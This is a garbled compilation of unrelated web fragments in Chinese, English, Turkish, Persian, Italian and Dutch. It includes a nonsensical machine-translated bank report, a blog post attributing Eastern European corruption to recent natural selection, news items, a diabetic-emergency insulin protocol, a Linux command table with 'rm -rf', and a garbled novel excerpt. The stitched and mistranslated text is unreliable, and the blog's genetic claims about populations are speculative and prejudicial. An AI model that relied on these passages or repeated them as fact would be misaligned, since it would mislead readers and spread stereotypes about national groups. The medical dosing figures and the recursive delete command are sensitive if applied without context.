险设法对付，生计信誉素养，使贬值信誉的利钱率是，不良信誉率为，信誉减缩遮盖率
为603%。
客户总存款增添4%至港币1,029亿元。2015年12月客户总存款包罗以本存款作为本钱交易养护易弯曲的结算行的
客户短期存款。短期存款离开，客户总存款则有线广播增添9%。2016年5月熊猫发行15亿元
债项已适宜趾高气扬的步态我国存款业入伙的新本钱原料来源。
资生产能力增添8%至1港元,378亿元。离开是你这么说的嘛！短期存款持几多存款后，，2016年度资生产能力增长
12%。可是海内和澳门资产长年累月增长至97%，2016年12月31日，该存款在香港资产击中要害共同承担仍在响起。
86%。尾随存款发行的证券的减缩，同时放针腰部内阁的投资额力度、腰部存款和事务实在性发行的证券，证券投资额
长年累月降落6%。作为我们家入伙海内和使发作数国的事务的战术的部分的。，海内易弯曲的风险增添，在资产困境表中
风险每年增添41%。，存款的总资产由19%增添到25%。。
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资产困境设法对付更无效，本存款之信誉对存款比率程度由2015年12月之筹集至2016年12月之
，机动性固执己见率仍存在当心程度。，平均分配值为2016。
总本钱比率从2015年12月降落到2016年12月。，一本钱程度比率，协力常备的
本钱程度比率。
加在一起说起，存款玉蜀黍发育不良的穗事情与堆积稳固、资产素养好、低信誉比率、高遮盖率，和本钱
富有的率和机动性比率远高于相干STA。。
股息
董事会以为在分享兴味时得影响的范围均衡。，为在明天的久远入伙，董事会提议差遣2016人。
公有经济年度残余相现黄金红利每股香港元元（ 2015腊尽冬残现钞红利：每股香港元，2017年5月26日（周）
五）存款使合群注册击中要害使合群，连同2016年9月21日已派发之中期现黄金红利每股香港元元（ 2015中
黄金红利：每股香港元，2016年年刊加在一起派息每股香港元4元（ 2015年度股息量：每股香港元8元）。
人民币堆积使结合（熊猫债）
创兴存款于2月19日在奇纳河人民存款称赞，2，海内存款间使结合交易养护的发行鱼鳞
30亿元堆积使结合。相配奇纳河入伙，该存款于2016年5月20日发行了首次批熊猫使结合。，极致的鱼鳞是人民币。
15亿元，三年的时期，年平均分配票价，年纪付一次利钱；使结合面值100元人民币，最低限度占用总数为
人民币5元,000,000元。短暂拜访助手信誉评价股份对大众不完整吐艳的公司，创兴存款和比较期使结合的信誉评级均为AAA级。。
创兴存款是2016年不料发行熊猫债的香港存款，亦是继2015年本港三间发钞存款发行熊猫债後首次间境外商
兴业银行存款发行熊猫使结合。总鱼鳞为人民币30亿元的潜在散发，熊猫债可能性适宜本存款在本钱交易养护上最大规
再发行使结合。
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事情评论
事务存款
2016上半载，交易养护充溢不决议性。事务姿态，投资额考虑周到的的投资额，少量事务也提早有十足的现钞。
归还信誉，事务信誉需求量疲软的。幸亏，下半载交易养护空气恶化，特性、股市大幅高涨。海内和
香港财团盼望竞赛，入标数目、价钱不时革新的。依据，往年下半载事务信誉需求量增长。
更加交易养护空气坏人，存款正香精饱满的陈设一站式存款生利和办事平台。。存款是
香港巨型事务、中小事务跨境融资与中小事务、本钱花费融资、堆积交易养护与富人设法对付等多个的存款套装
务。再说，存款接纳为中小事务陈设办事，全力趾高气扬的步态物香港G正当理由的中小事务信誉正当理由设计作品情节
证实股份对大众不完整吐艳的公司抵达的中小事务融资正当理由设计作品情节。
更多的入伙银团信誉交易养护，2016年1月本存款使被为提供好专责机关为玉蜀黍发育不良的穗客户陈设银团信誉办事，这是年度存款完
二十银团信誉，三的信誉是次要存款。，这一比分是欧共体银团信誉事情的梦想和新篇章。。
本存款赋予香港及海内客户之事务存款信誉有线广播隔开增添10%及9%。存款继续入伙跨境事情，香港信誉的部分的
资产的增长感激跨境事情。。香港借用人的专款对准或次要事情易弯曲的，用于香港和香港
外部的信誉隔开增长12%和30%。。存款当心均衡信誉增长与风险设法对付，多达2016年12月31日，
存款信誉缺勤个人的减值预备。。
2016年在信誉需求量响起及走完多笔银团和双边信誉的引导下，存款的利钱收益和信誉为提供费记载在
显赫增长。
2016，各国钱币走势尚浊度的。，汇率套期保值减轻风险。存款正筹集外部的汇经营的需求量。
顺风，增添相干本钱收益。
存款将继续为现几多长久的办事陈设优质办事。，香精饱满的冲洗新的目的客户群。除非帮助海内事务的入伙
庇护外部的吐艳事情，该存款也全力趾高气扬的步态物香港客户入伙本地新闻客户。。积极的招引优质客户，关心跨马
能容忍的的意见丫需求量，我们家的存款会给使合群造成却更的有助益，而不克使发作QA。。
抬出去处理者极致报告单
创兴存款股份对大众不完整吐艳的公司 2016岁入 25
个人的存款
2016四周的气浊度。，个人的客户对证券的使发作、富人设法对付与房地契投资额愿望。只管使存在某种特定的养护之下烦恼，本存款
我们家努力于建造以客户为胸部、全向的富人设法对付
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traits were under constant selection in those populations because: reproductive success in those societies was dependent upon one’s connection to, and one’s standing within, the extended kin-group, so, thanks to being tied to kin rather than non-kin, nepotistic altruism genes would’ve been favored over reciprocal altruism ones; the extended kin-group was the element within which most individuals would’ve interacted with others, those others being related individuals who would’ve been likely to share the same nepotistic altruism genes (alleles) [see here for more]; and cousin marriage was rife, which again would’ve further fuelled the selection for these genes, since members of the same kin-group would’ve had an even greater likelihood of sharing the same versions of their nepotistic altruism genes.
pretty much the opposite happened during the early and high middle ages in “core” europe. manorialism pushed for nuclear families rather than extended family groupings, and so people began to interact more with non-kin rather than kin, enabling the selection for more traits related to reciprocal altruism. the avoidance of close cousin marriage meant that family members would’ve shared fewer altruism genes in common, so any selection for nepotistic altruism would’ve slowed down. and once voluntary associations of non-kin appeared, the selection for reciprocal altruism really would’ve (or, at least, could’ve) taken off. reproductive success was no longer dependent upon connections to the extended family group, but, rather, unrelated individuals living with the community.
the manor system developed in the 500s in “core” europe (austrasia), but did not arrive in russia (and much of eastern europe) until the late medieval/early modern period. (it never got to the balkans.) the extended family was most likely gone on the manors in the west by the 800s (see mitterauer), although it is conceivable that the nuclear families found on the manors in the earliest days were residential nuclear familes rather than the fully atomized ones that we see in the west today. certainly by the 1500s, there are no longer any traces of the extended family among “core” europeans (although there are still some pockets). the avoidance of cousin marriage was underway in earnest by the 800s (possibly earlier, but definitely by the 800s). it was still on shaky ground as late as the 1400s in russia. and, as we’ve seen, voluntary associations appeared very early in “core” western europe, but only very recently in russia (and, presumably, other areas of eastern europe).
most of you will recognize this as the hajnal line story (yet again!) with a few new nuances thrown in. manorialism, outbreeding, and voluntary associations all began in “core” europe — again very roughly the area outlined by the green oval on the map below (the other lines indicate, again roughly the extent of the hajnal line) — and they spread outwards from there over time, eventually reaching russia and other parts of eastern europe, but not until very late. (and the manor system in russia, once it was adopted there, was of a very different form than what had existed in western europe.)
inside the hajnal line, which (imo) reflects the extent of the strongest selection for behavioral traits related to reciprocal altruism over nepotistic altruism, the populations have stronger democratic traditions, are more civic-minded, are less corrupt, and score higher on individualism (vs. collectivism) on hofstede’s idv dimension than the populations outside the hajnal line. (please, see my big summary post on the hajnal line for more details.) all of these behavioral patterns “fit” better with the idea that these populations are characterized by innate reciprocal altruism tendencies rather than more nepotistic altruism ones. the populations outside the hajnal line seem to be more oppositely inclined.
there is no doubt that soviet communism wreaked havoc on eastern european populations. some untold millions died in the gulags, families and towns and villages were ripped apart, political repression was beyond belief. but smart money says that, along with civicness, many of the “non-western” features of contemporary eastern europe — high corruption rates, etc. — have deeper roots, and are not the consequences of communism, but rather of recent evolution by natural selection.
(note: comments do not require an email. sorry there’s no tl;dr summary!)Boccaccio, Orta Çağ'ın sonuna doğru, şiir alanında Dante ve Petrarca kadar etkin olamayacağını anlayınca italyan halk dilinde eser vermeye başlamış. Böylece öykü ile yazınını sürdürmüş. İşte Decameron, bu sebeplerle alanında çığır açmış, özgün yapısıyla birlikte bir ilk olmayı başarmış.
Ancak içeriği konusunda beni pek cazip etmedi. Ve açıkça söylemeliyim ki; Kadın düşkünü Boccaccio'nun kadınlara -duyarlı, acı çeken kadınlara- adadığı bu öykü-öyküler; genel olarak kadın-erkek ilişkisini işlerken, cinselliğe müptela biri olarak buna sürekli olarak yer vermesi; zira o yetenekli zihni işgali altına almış, zincirlerine bağlamış olması ne kötü bir talih! Oysa o bunun için aşk! diyor ama, hemen her öyküde birlikte olduğu, yani eşini değil de, daha genç, daha soylu bir şövalye!nin koynunda mutluluğuna kavuşacağını belirtmesi bu rezaletin en büyük, en açık göstergesi.
Diğer taraftan din adamlarının yobazlığı, çıkarların, hilelerin, sonu ibretlik mesajların ve ders niteliğinde ifadelerin kullanıldığı öyküler olsa da, benim için tüm bunlar gölgede kaldı.
Bunun yanı sıra Boccaccio kitabın sonunda verdiği notlarda yalakalığıyla kadınlara! açıklamada bulunuyor: " Bazı öykülerin içeriğinin açık seçik olması, onun niteliğinden kaynaklanıyor." diyor. Alçak herif, o yumuşak dilinle sen ancak kadınları inandırabilirsin.
En azından son günde anlatılan on öykü eli açıklığı, gerçek anlamda iyiliği anlatması, kitabı biraz olsun olumlu bir düşünceyle bitirebildim.
Şimdi kitap hakkında bilgi verecek olursak;
Veba salgınında ölümler çoğalırken, yedi soylu kadın bir araya gelip göz göre göre ölümü bekleyeceklerine diğer bazı insanlar gibi son günlerini eğlenerek geçirmeye karar veriyorlar. Yanlarına onlara eşlik etmeleri için de üç genç erkek alıp bir şatoya yerleşip ne yapacaklarını konuşuyorlar. En sonunda da her gün bir kral seçip onun aracılığıyla sırasıyla öyküler anlatmaya başlıyorlar. Her gün on öykü anlatılacak şekilde vakit geçiriyorlar. On günün sonunda, yüz öykünün anlatıldığı kitap ayrılıp eve dönmeleriyle sona eriyor...İzmir'de Kadın Hastalıkları ve Doğum Uzmanı doktoru muayene ettiği kadının kocası tarafından "Erkek doktor istemiyorum" diyerek darp edildi. Doktora yumruklarla saldıran saldırgan genç doktorun burnunu kırdı.
Korkunç olay dün saat 14.00 sıralarında Tepecik Eğitim ve Araştırma Hastanesi Kadın Hastalıkları ve Doğum Birimi'nde meydana geldi.
İddiaya göre; Asistan Hekim F.B., muayene için odasına aldığı kadının şikayetini dinledi. Bu sırada hasta kadın, eşinin de içeri girmesini istedi ancak F.B. buna olumsuz yanıt verdi. Bu nedenle kadın "Erkek doktora muayene olmak istemiyorum" diyerek dışarı çıktı. Bir süre sonra hasta ve eşi kapı önünde Doktor F.B. ile tartışmaya başladı. İtiş kakış yaşanırken, M.A.K. adlı koca yumruk atarak Doktor F.B.'nın burnunu kırdı. Olaya araya giren hastane personeli ve yurttaşlar müdahale ederken Doktor F.B., darp raporu alarak şikayetçi oldu. M.A.K. olay yerinde gözaltına alındı.
Doktor F.B., şikayet dilekçesinde şunları belirtti:
"Bayan hastayı muayene edeceğim sırada 'Erkek doktor istemiyorum, eşim içeri girsin" dedi. Ben de 'Burası kadın doğum kliniği, içeriye alamam' dedim. Ben muayene olmak istemiyorum' diyerek dışarı çıktı. Kısa süre sonra kapıya sertçe vurmaya başladılar. Ben ne oluyor diye açtığımda 'Ben vurdum, ne bakıyorsun karıma' dedi. Şahıs beni itekledi. Ben de kendimi korumak için onu ittim. Şahıs burnuma yumruk attı. Bu nedenle burnum kırıldı. Beni darbeden şahıstan şikayetçiyim."
Kaynak:Anka治疗原则：尽快补液以恢复血容量、纠正失水状态，降低血糖，纠正电解质及酸碱平衡失调，同时积极寻找和消除诱因，防治并发症，降低病死率。
一、补液
输液是首要的措施。在治疗初期，建议使用生理盐水,尽管它是等渗液体，但是相对于患者血浆渗透压为低渗。
如果合并休克或血容量不足的情况，经快速补充生理盐水后仍不能有效升高血压，应输入胶体溶液并采用
其他抗体克措施。尽管脱水和渗透压纠正过快导致脑水肿的情况少见，但是后果严重，而且在儿童中发生率相对较高。
二、胰岛素治疗
目前已经明确HHS患者有胰岛素抵抗，需要超生理剂量的胰岛素才能抑制脂肪分解和糖异生。
持续静脉滴注小剂量胰岛素(速效)方案(每小时每公斤体重0.1U)，可使患者血浆胰岛素浓度达100μU/ml,
已显著高于非糖尿病病人的平均血浆胰岛素水平，足以完全抑制脂肪分解和肝糖原异生。相比较于大剂量间断静脉注射法，该法简便、并发症发生率低。间断肌注小剂量（5U/h）胰岛素(速效)或首剂肌注20U后每小时肌注胰岛素(速效)5U，
血浆胰岛素浓度可达60-90μU/ml，这适用于一些无条件应用小剂量胰岛素连续静脉滴注法的医院。血糖下降速度一般以每小时约降低3.9～6.1mmol/L(70～110mg/d1)为宜。
三、纠正电解质平衡失调
大多数DKA和HHS患者就诊时钾离子已大量丢失。尽管如此，血钾可正常、降低或升高。细胞内脱水和代谢性酸中毒使细胞内失钾，补液、纠正酸中毒以及胰岛素治疗使钾离子向细胞内转移，血钾水平更低。为防止低血钾，在开始治疗时，只要患者血钾低于5.5mmol/l,且尿量足够（40ml/h 以上），即可开始补钾。补钾一般选用氯化钾，也可使用2/3氯化钾和1/3磷酸钾，每升液体需加入20～30mmol钾。
治疗过程中，需定时监测血钾水平，如有条件最好用心电图监护，结合尿量，调整补钾量和速度。病情恢复后仍应继续口服钾盐数天。
DKA和HHS患者磷缺乏也十分
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zza avevano sbagliato a interpretare le regole. Hanno dichiarato inoltre che in futuro di sicuro si preoccuperanno di istruire meglio il personale, così da non dare più vita a situazioni simili.呼叫转移概述
许多员工需要不时出门或出差，而呼叫转移服务可帮助他们不在办公室时仍能保持联系。将电话转移到家庭电话或移动号码，这样一来，当您不在办公桌旁时，也不会错过任何企业电话。
呼叫转移如何工作
Vonage Business Communications 包含一个名为“追踪我”的交错呼叫转移选项，该选项属于我们“不再错过呼叫”套件。其允许员工通过用户门户、管理门户或移动应用转移呼叫，因此他们的桌面电话首先会在选定的时间内响起，然后另一个号码在选定的时间内响起，最后是将呼叫转移至语音邮件。
简单
可以轻松设置、使用和指定您在离开办公桌时，转移呼叫的方式。
便捷
随时从您的用户门户和移动应用中管理呼叫转移。مدولاسیون کد پالس دیفرانسیل تطبیقی (ADPCM)
مدولاسیون کد پالس دیفرانسیل تطبیقی (ADPCM) به چه معناست؟ مدولاسیون کد پالس دیفرانسیل تطبیقی (ADPCM) روشی است که برای تبدیل سیگنال های آنالوگ به سیگنال های باینری استفاده می شود. این تکنیک سیگنالهای آنالوگ را با نمونهبرداری مکرر از صدا و نشان دادن مقدار مدولاسیون نمونهبرداری شده به شکل باینری تبدیل میکند. این تکنیک نوعی تغییر از روش دیجیتالی است که به عنوان مدولاسیون کد پالس شناخته میشود.Bedan مدولاسیون کد پالس دیفرانسیل تطبیقی (ADPCM) را توضیح می دهد مدولاسیون کد پالس دیفرانسیل تطبیقی یک کدگذاری دیجیتالی بسیار کارآمد از شکل موج است که توسط آزمایشگاه بل در دهه 1970 با هدف کدگذاری صوتی توسعه داده شد. ADPCM همچنین در اوایل دهه 1990 توسط انجمن چندرسانهای تعاملی (IMA) برای توسعه کدکهای صوتی قدیمی - که ADPCM DVI، IMA ADPCM یا DVI4 نیز نامیده میشود، استفاده شد. برخی از روش های ADPCM نیز در ارتباطات VoIP استفاده می شوند. مفهوم ADPCM استفاده از رفتار گذشته یک سیگنال برای پیش بینی آن در آینده است. سیگنال به دست آمده نشان دهنده خطای پیش بینی است که هیچ اهمیتی ندارد. بنابراین، سیگنال باید رمزگشایی شود تا شکل موج اصلی معنادارتر بازسازی شود. تکنیک ADPCM برای ارسال سیگنال های صوتی از طریق خطوط دوربرد فیبر نوری استفاده می شود. این به ویژه برای سازمان هایی مفید است که خطوط دیجیتال بین سایت های راه دور برای پخش صدا و داده ایجاد می کنند. سیگنالهای صوتی قبل از پخش دیجیتالی میشوند. در زمینه مخابرات، تکنیک ADPCM عمدتاً در فشردهسازی گفتار استفاده میشود، زیرا این روش امکان کاهش جریان بیت را بدون کاهش کیفیت فراهم میکند. روش ADPCM را می توان برای تمام اشکال موج، صوت با کیفیت بالا، تصاویر و سایر داده های مدرن اعمال کرد.
Adaptive Differential Pulse Code Modulation (ADPCM)
What Does Adaptive Differential Pulse Code Modulation (ADPCM) Mean? Adaptive differential pulse code modulation (ADPCM) is a method used to convert analog signals to binary signals. The technique converts the analog signals by taking frequent samples of the sound and representing the value of the sampled modulation in binary form.The technique is a variation of the digitized method known as pulse code modulation. Techopedia Explains Adaptive Differential Pulse Code Modulation (ADPCM) Adaptive differential pulse code modulation is a very efficient digital coding of waveforms that was developed by Bell Labs in the 1970s for the purpose of voice coding. ADPCM was also used in the early 1990s by Interactive Multimedia Association (IMA) for the development of legacy audio codec - also referred to as ADPCM DVI, IMA ADPCM or DVI4. Some ADPCM methods are also used in VoIP communications. The concept of ADPCM is to use the past behavior of a signal to forecast it in the future. The resulting signal will represent the error of the prediction, which has no significance. Therefore, the signal must be decoded to rebuild a more meaningful original waveform. The ADPCM technique is employed to send sound signals through fiber-optic long-distance lines. This is useful especially for organizations that set up digital lines between remote sites to broadcast both voice and data. The voice signals are digitized before they are broadcasted.In the telecommunication field, the ADPCM technique is used mainly in speech compression because the method makes it possible to reduce bit flow without compromising quality. The ADPCM method can be applied to all wave forms, high-quality audio, images and other modern data.HIGHWAY SIGNAGE INCLUDING
NATIONAL TRAIL MILESTONES
a trail was "marked," for travelers, much as our mile-markers along the
Interstates now. Geographical and Geological landmarks, the stars, some small
villages and the man-made and placed "Milestone Markers" of engraved stone would
be how the emigrants would find their way along the "blazed" trail.
One interesting point in how the National Trail was truly a real highway
in pioneer days was that stumps were only allowed to be up to 14" tall.
this section, students could help to design "Milestone markers" out of any
appropriate material including plaster of Paris, or even cardboard.
A simulated trail could be created on the school grounds with groups of
students following the trail with the "Milestone markers." The markers could
have coded messages about the point they represent.
modernize the trail, make use of a Magellan GPS device, and create a school
grounds trail with points mapped on the device. See if the students can read
the latitudes/longitudes of the Magellan. They will be able to. I've done it
down to 2nd grade.
This represents the same principle as the old days, but a bit more
were hand carved stone markers placed along the Old Trails to help travelers
know how far they had gone, and how far to go.
The National Trail, by the 1840's, became more than just a muddy road. The
government had actually built gravel covered roads. This made travel a lot
smoother and faster.
A Milestone Marker would have initials for the area or town it was in, plus a
number represent the distance from the beginning point.
On the other hand, many pioneers, including
children and babies, died along the old trails. Simple wooden markers, or
sometimes stone carved slabs would be used to mark their graves. Sometimes an
"epitaph" would be written. Pioneers following up on the previous family, with
the death, would no doubt mourn for them. It was very common for many pioneer
families to lose members to death from sickness, accidents, or murder by bad
people, and sometimes unfriendly Native Americans.
A project for your class could include:
1. Study Pioneer travel on the trail, divide the class into "families".
2. Create milestone and/or grave markers to post along a "trail" on the
3. Have the students make the journey following the milestone markers and the
4. Each group will have their own stories (already made up) and could place
their own grave markers. The teacher would place the milestone markers.
5. The teacher would decide the start of the journey (location) and the final
destination desired. The National Trail, and later the western trails (Oregon,
etc.) would be the means of transportation.
Some tips on Making Milestone Markers
If wanting to be really fancy, you could
use paper Mache, but if not enough time or materials, you can make them from
strips of cardboard (sturdy) with a stick stapled or fastened to the back to
drive into the ground. Most milestones were nearly 3 feet in height. They
could be painted gray, and the location letters/mile number painted on with
black paint. Gravestones can be also made with cardboard, painted wood color or
stone color and wording with black paint.
Visit the Maumee and Western Road
WIKIPEDIA TO SEE AN ASSORTMENT OF SIGNS USED ON HIGHWAYS AND ROADS IN THE U.S.A.
National Trail Resources
Learning On-Line Home PageAzure Key Vault
Tableau Server dispone di tre opzioni del sistema di gestione delle chiavi (KMS) che consentono di abilitare la crittografia a riposo. Due di queste richiedono Advanced Management (precedentemente chiamato Server Management Add-on), mentre una locale è disponibile con tutte le installazioni di Tableau Server.
A partire dalla versione 2019.3, Tableau Server ha aggiunto queste opzioni di KMS:
- KMS locale disponibile con tutte le installazioni. Per informazioni dettagliate, consulta Sistema di gestione delle chiavi di Tableau Server.
- KMS basato su AWS, fornito come parte di Advanced Management. Per informazioni dettagliate, consulta Sistema di gestione delle chiavi AWS.
A partire dalla versione 2021.1, Tableau Server ha aggiunto un'altra opzione di KMS:
- KMS basato su Azure, fornito come parte di Advanced Management. È descritto di seguito.
Azure Key Vault per la crittografia a riposo
Azure Key Vault è disponibile come parte di Advanced Management per Tableau Server a partire dalla versione 2021.1.0. Per maggiori informazioni, consulta Informazioni su Tableau Advanced Management su Tableau Server.
Se la tua organizzazione distribuisce la crittografia delle estrazioni dati a riposo, puoi configurare facoltativamente Tableau Server per l'uso di Azure Key Vault come KMS per la crittografia delle estrazioni. Per abilitare Azure Key Vault, devi distribuire Tableau Server in Azure. Nello scenario di Azure, Tableau Server utilizza Azure Key Vault per crittografare la chiave master radice (RMK) per tutte le estrazioni crittografate. Tuttavia, anche se configurati per Azure Key Vault, l'archivio delle chiavi Java nativo di Tableau Server e il KMS locale vengono ancora utilizzati per l'archiviazione sicura dei segreti su Tableau Server. Azure Key Vault viene utilizzato solo per crittografare la chiave master radice per le estrazioni crittografate.
La gerarchia delle chiavi quando Tableau Server è configurato con Azure Key Vault
Configurare Azure Key Vault per le estrazioni crittografate di Tableau Server
Per utilizzare Azure Key Vault per crittografare la chiave radice nella gerarchia del KMS di Tableau Server, è necessario configurare Tableau Server come descritto in questa sezione.
Prima di iniziare, verifica di essere in possesso dei seguenti requisiti:
- Tableau Server deve essere distribuito in Azure.
- Tableau Server deve essere configurato con una licenza di Advanced Management. Vedi Informazioni su Tableau Advanced Management su Tableau Server.
- Devi disporre del controllo amministrativo sull'insieme di credenziali delle chiavi
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�ود را از ماهها قبل از انتخابات آغاز کرده بود. او تلاش کرد تا وفادارترین سربازان پیاده و رهبران برجسته را برای کارزار انتخاباتیاش به کار گیرد. این یک تغییر رویه اولیه بود و بایدن اجازه داد افرادی به کار گرفته شوند که برای آنها اهمیت رای الکترال در ایالات بالاتر از رای مردمی باشد و کارزار انتخاباتی بایدن پس از انتخابات روزها را بهگونهای سپری کرده است تا دقیقترین اطلاعات را از آرای الکترال به دست آورد و موردی پیدا نشود که در روند آرای الکترال اختلال ایجاد کند. این ترس وجود دارد که ممکن است در دقایق آخر تلاشهایی برای اختلال در آرای الکترال از سوی حامیان رئیسجمهوری بهوجود آید یا اعتراضاتی علیه این آرا شکل بگیرد.
تیم اسمیت یک تن از اعضای برگزینندگان در میشیگان که یکی از کانونهای اصلی اعتراضها علیه آرای بایدن بوده است، میگوید: «همانگونه شما و مردم میدانید، روز نهایی، ۱۴ دسامبر است.» به همین منظور در بیرون از منزل جاسلین بنسون، وزیر ایالتی میشیگان در آخر هفته، عدهای از معترضان جمع شدند و به گفته نیروهای پلیس برخی از آنها مسلح نیز بودند. آنها خواستار تغییر نتیجه انتخابات بودند. بایدن مطمئن است که تیمش آمادگی دارد تا روز ۱۴ دسامبر از فرآیند سالم اعلام نتایج آرای الکترال محافظت کند و اجازه اختلال دقیقه نودی به آن نخواهد داد. یکی از اعضای تیم بایدن در حوزه محافظت از آرای الکترال میگوید: « ما نقشهایمان را برای اینکه آرا به همان صورتی که است، باقی بماند به نحو احسن انجام دادهایم و مطمئن هستیم که اعضای برگزینندگان آمادهاند که بار مسوولیت خود را به خوبی زمین بگذارند و آنچه را که لازم است در روز ۱۴ دسامبر انجام دهند.» این فرد میگوید اگر اختلالاتی بهوجود آید آنها برای راهکارهای جایگزین نیز آمادگی دارند و اگر لازم باشد برای شمارش آرا اقدام میکنند. با این حال ماجرا کمی مبهم است؛ چرا که هنوز کارزار انتخاباتی ترامپ نگفته است که با جلسه روز چهاردهم دسامبر چگونه برخورد خواهد کرد. کارزار انتخاباتی بایدن میگوید که آنها توانستهاند در پنج ایالتی که ترامپ بهدنبال تغییر نتیجه آرا است، از آرای الکترال رئیسجمهور منتخب حفاظت به عمل آورند و درخواست طرفداران خشمگین ترامپ برای تغییر آرا تاکنون جواب نداده است. برخی گزارشها میگوید که اعضای هایت برگزیننده تاکنون با تهدیدات گوناگون از جمله تهدید به مرگ روبهرو شدهاند. اما رایدهندگان الکترال به بایدن تاکنون در برابر این تهدیدات دوام آوردهاند.
دنیای اقتصادLinux uses some conventions for present and parent directories. This can be a little confusing for beginners. Whenever you are in a terminal in Linux, you will be in what is called the current working directory. Often your command prompt will display either the full working directory, or just the last part of that directory. Your prompt could look like one of the following:
[email protected] ~/somedir $ [email protected] somedir $ [email protected] /home/user/somedir $
which says that your current working directory is /home/user/somedir
In Linux .. represents the parent directory and . represents the current directory. Therefore, if the current directory is /home/user/somedir, then cd ../somedir will not change the working directory.
The table below lists some of the most used file management commands:-COPY CODE SNIPPET
|pwd||Get the full path of the current working directory.|
|cd –||Navigate to the last directory you were working in.|
|cd ~ or just cd||Navigate to the current user’s home directory.|
|cd ..||Go to the parent directory of current directory (mind the space between cd and ..)|
|Listing files inside a directory|
|ls -l||List the files and directories in the current directory in long (table) format (It is recommended to|
use -l with ls for better readability).
|ls -ld dir-name||List information about the directory dir-name instead of its contents.|
|ls -a||List all the files including the hidden ones (File names starting with a . are hidden files in Linux)|
|ls -F||Appends a symbol at the end of a file name to indicate its type (* means executable, / means|
directory, @ means symbolic link, = means socket, | means named pipe, > means door).
|ls -lt||List the files sorted by last modified time with most recently modified files showing at the top|
(remember -l option provides the long format which has better readability).
|ls -lh||List the file sizes in human readable format.|
|ls -lR||Shows all subdirectories recursively|
|tree||Will generate a tree representation of the file system starting from the current directory.|
|File/directory create, copy and remove|
|cp -p source destination||Will copy the file from source to destination. -p stands for preservation. It|
preserves the original attributes of file while copying like file owner, timestamp,
group, permissions, etc.
|cp -R source_dir|
|Will copy source directory to specified destination recursively.|
|mv file1 file2||In Linux there is no rename command as such. Hence mv moves/renames the|
file1 to file2.
|rm -i filename||Asks you before every file removal for confirmation. IF YOU ARE A NEW USER|
TO LINUX COMMAND LINE, YOU SHOULD ALWAYS USE rm -i. You can specify
|rm -R dir-name||Will remove the directory dir-name recursive ly.|
|rm -rf dir-name||Will remove the directory dir recursively, ignoring non-existent files and will|
never prompt for anything. BE CAREFUL USING THIS COMMAND! You can
specify multiple directories.
|rmdir dir-name||Will remove the directory dir-name, if it’s empty. This command can only remove|
|mkdir dir-name||Create a directory dir-name.|
|mkdir -p dir-name/dir-name||Create a directory hierarchy. Create parent directories as needed, if they don’t|
exist. You can specify multiple directories.
|touch filename||Create a file filename, if it doesn’t exist, otherwise change the timestamp of the|
file to current time.
|File/directory permissions and groups|
|chmod <specificatio>filename ||Change the file permissions. Specifications = u user, g group, o other, + add|
permission, – remove, r read, w write,x execute.
|chmod -R <specification> dir-name||Change the permissions of a directory recursively. To change permission of|
a directory and everything within that directory, use this command.
|chmod go=+r myfile||Add read permission for the owner and the group.|
|chmod a +rwx myfile||Allow all users to read, write or execute myfile.|
|chmod go -r myfile||Remove read permission from the group and others.|
|chown owner1 filename||Change ownership of a file to user owner1.|
|chgrp grp_owner filename||Change primary group ownership of file filename to group grp_owner.|
|chgrp -R grp_owner dir-name||Change primary group ownership of directory dir-name to group grp_owner|
recursively. To change group ownership of a directory and everything within
that directory, use this command.Bu çevirinin tamamlanmış sayılması için önce, tüm ön koşul kılavuzlarının çevrilmesi gerekir.
Huawei P8 Lite Vervanging van de achterste behuizing
Üzerinde çalıştığınız device'ın spesifik parçasını veya bileşenini tarif edin. EÖrneğin: Pil
Bir başlık oluştur.
Bu kısa özet yalnızca arama sonuçlarında görünecektir.
Okuyucuya, onlar daha kılavuza dalmadan önce gerekli olan arka plan bilgilerini aktarın.
Adım 1
Gebruik een pincet om de garantiesticker, welke over een schroef rechtsonderin je telefoon is geplaatst, te verwijderen.
Adım 2
Verwijder de vier Torx T5-schroeven die het onderste gedeelte van de luidspreker bevestigen.
Adım 3
Verwijder de luidspreker op voorzichtige wijze.
Katkılarınız, açık kaynak Creative Commons lisansı altında lisanslanmaktadır.Bloomberg'e göre Prens Harry, Spotify için potansiyel bir podcast dizisi bulmak üzere bir dizi yapımcı ve prodüksiyon eviyle görüştü. Bu, Spotify ve Harry ve Meghan Markle'ın yapım şirketi Archewell Audio'nun "karşılıklı olarak yolları ayırma konusunda anlaştıklarını" açıklamasının ardından geldi.
Kraliyet çifti, 2020'de Spotify ile 20 milyon ABD Doları değerinde üç yıllık bir anlaşma imzalamıştı. Ortaklık kapsamında, Meghan'ın sunuculuğunu yaptığı Arketipler adlı 12 bölümlük bir dizi ürettiler. Bununla birlikte, çiftin 2021'de piyasaya sürülecek ilk tam dizi ile "podcast'ler üretmesi ve sunması" bekleniyordu. Arketipler 2022'de çıkış yaptı ve o zamandan beri ne Harry ne de Meghan başka bir podcast dizisine ev sahipliği yapmadı.
PUTİN VE TRUMP İLE ÇOCUKLUK TRAVMALARIYLA İLGİLİ KONUŞMAK İSTEMİŞ!
Bloomberg'in gazeteci Ashley Carman tarafından ka
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和被证明是一个顶级销售员,但是,当旅行结束后,他将在那个城市呆一个星期左右伪装成吉姆•卡尔森让他内心的魔鬼。”他在寄养家庭长大后父亲强奸他被捕,他的弟弟随后15年前自杀了。”””父亲在哪儿?”””不知道。当他从监狱被释放,他消失了。母亲男孩小时候起飞。”三把手枪,布莱恩祖父的鲁格尔手枪,Gerardo六发式左轮手枪,城堡上垒率大酒瓶。布莱恩坚持与防御盾牌不说响尾蛇和smugglers-pretty同一个。城堡有继续练习他的手枪,相当自信他能触及有轨电车。至于走私……栅栏线爬的更高,橡树和juniper高地,然后逼跑北穿过高大的森林的矮松,吉娃娃和杰克松老他们被小树西班牙建筑任务时在北美。
””我很高兴。”凯瑟琳似乎松了口气。”你听说过任何关于判断吗?我们做了一些改变,你知道的,试图让它更公平。””这是谈话要到哪里去?想知道露西。乔开始再说些什么。然后他看到，在休息室的角落里，似乎是SSA机器。他站起来，检查它。“我能帮忙吗？先生？“空姐说：走近他。
Michael站在那里,当我的爸爸骂我摇了摇头。我是固执的,医生最终网开一面。他让我抱着一面镜子,这样我就可以看着他剃一个很小的伤口周围每一个头。切,卡尔打碎了我最坏的打算。花了七十二针。这是深,所以他们把36针内切割和36。他们兴奋地回家了。我们错过了彼此。当我和埃里克,他非常关心和担心,但我保证他没事的。
